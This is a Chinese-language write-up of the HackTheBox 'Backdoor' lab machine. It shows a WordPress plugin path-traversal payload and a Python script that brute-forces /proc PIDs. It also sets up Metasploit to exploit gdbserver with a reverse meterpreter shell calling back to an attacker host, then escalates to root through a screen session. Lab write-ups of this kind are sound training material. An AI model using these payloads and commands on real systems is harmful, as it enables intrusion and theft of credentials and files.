[HackTheBox] Backdoor

首先进入靶机还是nmap扫一下端口信息:nmap -sS 10.10.11.125
只探测到了80和22端口开放,然后用rustscan再探测一下:
[HackTheBox] Backdoor
还发现了1337端口,查看一下80端口发现是一个WordPress,直接上wpscan扫一下:
[HackTheBox] Backdoor
访问http://10.10.11.125/wp-content/plugins/akismet/得到403,删去最后的目录再次访问发现存在目录遍历漏洞:
[HackTheBox] Backdoor
看到有一个ebook-download的插件目录,exploitdb搜一下:
[HackTheBox] Backdoor
符合的漏洞有一个WordPress Plugin eBook Download 1.1 - Directory Traversal
漏洞Poc:https://www.exploit-db.com/exploits/39575
Payload:/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
[HackTheBox] Backdoor

测试一下后发现确实存在任意文件下载漏洞,下载到了wp-config.php文件,但是依旧没有什么用,3306端口不出网,没有办法直接连接数据库,这个时候就需要想办法另辟蹊径,卡在这里有一段时间没进展,然后看到了老外的WriteUp提到:

So then I tried to search RCE via LFI and after lots of searches, I finally came across a blog that says we can brute force the PID in the /proc/ directory. So, /proc/[PID]/cmdline in Linux is basically representing a currently running process.

意思就是说可以通过爆破PID来遍历/proc/[PID]/cmdline,从而获取当前正在执行的进程,随便写个脚本爆破一下:

import requests
url = 'http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/{}/cmdline'
for i in range(0,1000):
    target = url.format(str(i))
    res = requests.get(target).text
    if len(res) > 83:
        print("PID:"+str(i)+"  Content:"+res)

然后就去摸会鱼回来看一下结果,排除正常的进程,注意到了这里的命令:
[HackTheBox] Backdoor

bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
bin/sh-cwhile true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done

首先是一个以user权限运行的gdbserver进程,对应端口为1337,还有一个screen -dmS root则是启动了一个终端的session。
然后的思路就是打一下gdbserver,直接上msf:

use exploit/multi/gdb/gdb_server_exec
set payload linux/x64/meterpreter/reverse_tcp
set RHOSTS 10.10.11.125
set RPORT 1337
set LHOST 10.10.14.118
set target 1

最后配置好的options如下图:
[HackTheBox] Backdoor

接下来exploit攻击一下:
[HackTheBox] Backdoor

之后再用python来获得一个Shell:python3 -c 'import pty; pty.spawn("/bin/bash")'
查看一下user用户的目录可以获得普通用户的flag:
[HackTheBox] Backdoor

接下来就是想办法提权获得root用户的flag,回归到上面两个不寻常的命令,第一条是启动gdbserver服务,第二条命令可能就是提权的关键了:

bin/sh-cwhile true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done

先了解一下screen

screen是Linux窗口管理器,用户可以建立多个screen会话,每个screen会话又可以建立多个window窗口,每一个窗口就像一个可操作的真实的ssh终端一样。
使用文档:https://linux.die.net/man/1/screen

注意到了这里:

-x : Attach to a not detached screen session. (Multi display mode).

我们可以通过使用-x参数来进入到root的session中,直接设置TREM变量为xterm即可:
export TERM=xterm
然后再切入root的session:
screen -r root/root
这样就可以获得root权限,然后获取到root用户目录下的root flag:
[HackTheBox] Backdoor

上一篇:django admin model使用技巧


下一篇:【javascript】浅谈javaScript的深拷贝